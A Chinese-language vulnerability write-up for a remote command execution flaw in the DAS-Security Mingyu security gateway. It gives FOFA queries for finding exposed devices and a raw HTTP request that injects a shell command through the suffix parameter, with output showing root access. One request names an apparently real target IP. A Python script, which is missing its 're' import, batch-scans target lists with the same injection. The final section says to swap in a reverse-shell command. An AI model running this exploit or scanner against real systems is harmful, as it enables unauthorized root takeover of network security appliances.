免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与本平台和发布者无关！！！

一、漏洞名称

安恒 明御安全网关 aaa_portal_auth_local_submit 远程命令执行漏洞

二、漏洞影响

安恒 明御安全网关

三、漏洞描述

 安恒 明御安全网关 aaa_portal_auth_local_submit 存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限。

四、资产FOFA搜索语句

body="/webui/?g=page_frame_login_vldcode&vldcode=" && title=="下一代防火墙"或者body="/webui/images/basic/login/" && title=="明御安全网关"

五、漏洞复现

第一步、向目标发送如下请求数据包，在目标主机上执行id命令，并将执行结果写入frrgkquigh.txt文件


GET /webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%60id+%3E/usr/local/webui/frrgkquigh.txt%60 HTTP/1.1
Host: xx.xx.xx.xx:9099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36

响应内容如下，表示命令执行成功


HTTP/1.1 200 OK
P3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Type: text/html
Date: Thu, 07 Sep 2023 04:48:29 GMT
Pragma: no-cache
Cache-Control: private
Server: lighttpd/1.4.39
Set-Cookie: USGSESSID=718870294b15575bd0a52c1db6955da9; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT

{"success":"local_logo"}

第二步，请求路径http://xx.xx.xx.xx:9099/frrgkquigh.txt查看执行结果文件


GET /frrgkquigh.txt HTTP/1.1
Host: 112.36.20.30:9099
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36

响应内容如下，页面包含了uid=0(root) gid=0(root)

HTTP/1.1 200 OKEtag: "2608808421"Last-Modified: Thu, 07 Sep 2023 04:48:29 GMTContent-Length: 24Date: Thu, 07 Sep 2023 04:48:29 GMTServer: lighttpd/1.4.39Content-Type: text/plainAccept-Ranges: bytes
uid=0(root) gid=0(root)

证明存在该漏洞

六、漏洞验证poc

该python脚本可以批量检测漏洞，C:\Users\DELL\Desktop\1005.txt为输入目标文件，每行是一个url


import argparse
import time
import requests

def get_url(file):
    with open('{}'.format(file),'r',encoding='utf-8') as f:
        for i in f:
            i = i.replace('\n', '')
            send_req(i)

def write_result(content):
    f = open("result.txt", "a", encoding="UTF-8")
    f.write('{}\n'.format(content))
    f.close()


def send_req(url_check):
    print('{} runing Check'.format(url_check))
    url = url_check + '/webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%60id+%3E/usr/local/webui/frrgkquigh.txt%60'
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'
    }
    
    try:
        requests.packages.urllib3.disable_warnings()
        response = requests.get(url=url,headers=header,verify=False,timeout=3)
        
        url2 = "{}/frrgkquigh.txt".format(url_check)
        res2 = requests.get(url2, verify=False)
        
        # 定义正则表达式模式
        pattern = r"(u|g)id|groups=[0-9]{1,4}\([a-z0-9]+\)"
        # 使用re.search()函数进行匹配
        match = re.search(pattern, res2.text)
        
        if response.status_code == 200 and res2.status_code == 200 and match:
            result = '{} 存在安恒 明御安全网关 aaa_portal_auth_local_submit 远程命令执行漏洞! 请访问目标自测：{} \n'.format(url_check,url2)
            print(result)
            write_result(result)
        time.sleep(1)
    except Exception as e:
        pass

if __name__ == '__main__':
    file = r"C:\Users\DELL\Desktop\1005.txt"
    get_url(file)

七、漏洞利用exp

只需将上面poc脚本url = url_check + '/webui/?g=aaa_portal_auth_local_submit&bkg_flag=0&suffix=%60id+%3E/usr/local/webui/frrgkquigh.txt%60'中的suffix参数替换成反弹shell命令即可